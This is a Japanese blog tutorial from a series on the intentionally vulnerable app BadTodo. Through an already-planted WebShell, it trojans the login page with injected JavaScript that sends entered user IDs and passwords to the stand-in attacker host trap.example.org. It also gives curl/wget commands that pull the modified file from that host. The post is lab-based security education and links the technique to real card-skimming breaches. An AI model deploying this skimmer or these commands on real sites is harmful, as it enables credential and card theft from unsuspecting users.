やられアプリ BadTodo - 25.2 色々混ぜてやってみる2(XSS - CSRF -WebShell)

前回:やられアプリ BadTodo - 25.1 色々混ぜてやってみる1(XSS - CSRF -WebShell) - demandosigno

前回、BadTodo上にWebShellを設置することができました。

WebShell=Web上でシェルを動かせる、ということで色々なことができるようになります。 (WebShellをすぐには用意できないという方は、通常のターミナルでコマンドを打つ・編集・コピーするなどしてファイルの改ざん以降だけでも試してみてください)

幾つかコマンドを試す

ファイルの改ざん

次にBadTodoのWebファイルを改ざんしユーザの入力値を盗めるようにしたいと思います。しかし、

  • このWebShellは簡単な機能しかないためエディタなどは開けません
  • ワンライナーで書き込むこともできるが面倒くさい→後日
  • wget や curl が使えれば、外部からファイルごとダウンロードして置き換える方法が手間がかからなそう
  • BadTodoには初期状態ではwgetもcurlも入っていない
  • whoami コマンドで確認したようにこのWebShellの実行ユーザは www-data 権限であるため、プログラムのインストール権限がない
  • ワンライナーでPHPを実行し curl_exec() を使えそう→後日

今回は本体のコンテナ badtodo-apache に curl を直接インストールして、既に curl が使える前提で進めます。

apt install curl

WebShellに戻りcurlが使えることを確認。

改ざんするページを決めます。ログインページを狙うことにしました。訪れたユーザが入力したユーザIDとパスワードの値を窃取します。

WebShellのページでcdコマンドで /todo/ ディレクトリに移り目的のファイルを確認します。

cat login.php でコードを表示します。

HTMLを読み込んでしまうためこのままだとうまく読み取れませんが、開発者ツールを見るか Ctrl+Uでビューソースを見るかして元のコードを確認します。

上記の大元のコードに次のコードを追記します。

  • ページ内の1番目のフォームfroms[0]からuseridpwdフィールドの値を取得する
  • 上記2つの値をパラメータとして付け足したリクエストを悪意のあるハッカーの管理するサイト trap.example.org に送信する
<script>
  window.onload = function() {
    document.forms[0].onsubmit = function() {
      f = document.forms[0];
      r = new XMLHttpRequest();
      r.open('GET',
        'https://trap.example.org/hack.php?number=' + encodeURIComponent(f.userid.value) + '_' + encodeURIComponent(f.pwd.value), false);
      r.send();
      return true;
    };
  };
</script>

最終的に次のコードになります。login.php

<?php
  require_once('./common.php');
  $url = filter_input(INPUT_GET, 'url');
  if (empty($url)) {
    $url = "todolist.php";
  }
?>
<html>
<head>
  <link rel="stylesheet" type="text/css" href="css/common.css">
  <title>ログイン</title>
</head>
<body>
  <div id="top">
    <?php $menu = 8;
    require "menu.php"; ?>
    <div id="loginform">
      <?php $app->form("logindo.php", true); ?>
      ログインしてください
      <table>
   ~(中略)~
    </div><!-- /#loginform -->
    <?php require "footer.php"; ?>
  </div>
  <script>
    window.onload = function() {
      document.forms[0].onsubmit = function() {
        f = document.forms[0];
        r = new XMLHttpRequest();
        r.open('GET',
          'https://trap.example.org/hack.php?number=' + encodeURIComponent(f.userid.value) + '_' + encodeURIComponent(f.pwd.value), false);
        r.send();
        return true;
      };
    };
  </script>
</body>
</html>

改ざんしたファイルに置き換える

作成したlogin.phpを悪意のあるハッカーが管理しているサイト trap.example.org/login.php に置きます。
WebShell でコマンドを打ち正規のファイルをダウンロードしたファイルで置き換える。
curl -O http://trap.example.org/login.php
wget の場合
wget --no-check-certificate -O ./login.php https://trap.example.org/login.php
更新を確認。

エラーの解決

ダウンロードした login.php の中身を確認するとエラーメッセージが出ており、正しく保存されていませんでした。

単一ファイルを保存するだけであれば問題ありませんが、PHPファイルのように依存関係のあるファイルの場合はそれらの依存関係を含めて取得しないとエラーが出るようでした。この辺り理解が不足しています。
common.php も先の手順と同じく trap.example.org/common.php として保存します。ここはもう面倒なのでコマンドでのコピーで進めます。 cp badapp.php ../trap/badapp.php


badapp.php, session.php, menu.php, footer.phpも必要なので同じくコピー。

再度ダウンロード、確認。

ここまでできたら完成です。ログインページを見てみます。追加したスクリプトが入っています。

ユーザの入力値が送信される

あるユーザがログインページを訪れます。
ユーザIDとパスワードを入力して「ログイン」をクリックしました。

この時、フォームの2つの入力データ「ユーザID」と「パスワード」が外部のサイト trap.example.org に送信されています。
hack.php というファイル自体は存在しないため 404NotFoundが返ってきていますが、値さえ送信できればよいため目的は果たせています。

ハッカーのサーバーのログ(この例ではnginxのログ)に id_pass という形で記載されます。

事例

今回の例は「IDとパスワード」の入力欄でしたが、これが「クレジットカード情報」の入力欄であっても同様のことができるはずです。

昨今もECサイトなどから「クレジットカード情報などが流出」する事態が度々起こっています。
「ごまたまご」公式ECサイトからカード情報6.5万件流出か ペイメントアプリ改ざんで - ITmedia NEWS
『システムの脆弱性をついた不正アクセスを第三者から受け、ペイメントアプリが改ざんされたことが原因』
『名義人名とカード番号、有効期限、セキュリティコードが漏れた可能性があるという』

全漁連のECサイト「ギョギョいち」への不正アクセスでクレカ情報約1万2000件漏えいの可能性 - ITmedia NEWS
『流出した可能性のある個人情報は、2021年4月22日から24年5月14日までにギョギョいちで商品を購入した人の氏名、性別、生年月日、メールアドレス、郵便番号、住所、電話番号。さらにクレジットカードで決済した人のクレジットカード番号、有効期限、セキュリティコード』 『原因は、サイト構築サービスにおけるクロスサイトスクリプティングの脆弱性を突いた第三者による不正アクセスにより、不正ファイルが設置されペイメントアプリケーションが改ざんされたことだった』

「e-ながさきどっとこむ」への不正アクセスによる個人情報漏えいの恐れに関するお詫びとお知らせ
『クレジットカード情報及び個人情報が漏えいした可能性』『当協会が運営する通販サイト「e-ながさきどっとこむ」のシステムの一部で第三者の不正アクセスにより、不正ファイルの設置及びペイメントアプリケーションの改ざんが行われたため』

これらの事件の際に「今どきクレジットカード情報をECサイト側のDBで保持しているなんてけしからん」と思われる方もいるかもしれませんが、そうではなく今回のようにユーザーの入力時にすでに盗まれている可能性が高いです。カード情報をECサイト側で保存せず、クレジットカード会社側に任せていたとしても、サイトが改ざんされるとクレジットカード会社に届く前に盗まれるわけです。

後日試す

  • キーロガーもどきにする(ユーザが「ログイン」ボタンをクリックする動作が必要なくなる)
  • WebShellでバックドアを設置し、アクセスを試す

最後に、スクリプト部分は削除して元の login.php に戻しておいてください。

参考情報

WebShellには高機能なものも沢山あります。

View post on imgur.com
imgur.com

参考にした資料

www.youtube.com

次回:やられアプリ BadTodo - 26.1 NULLバイト攻撃(+ファイルインクルード) - demandosigno

/* -----codeの行番号----- */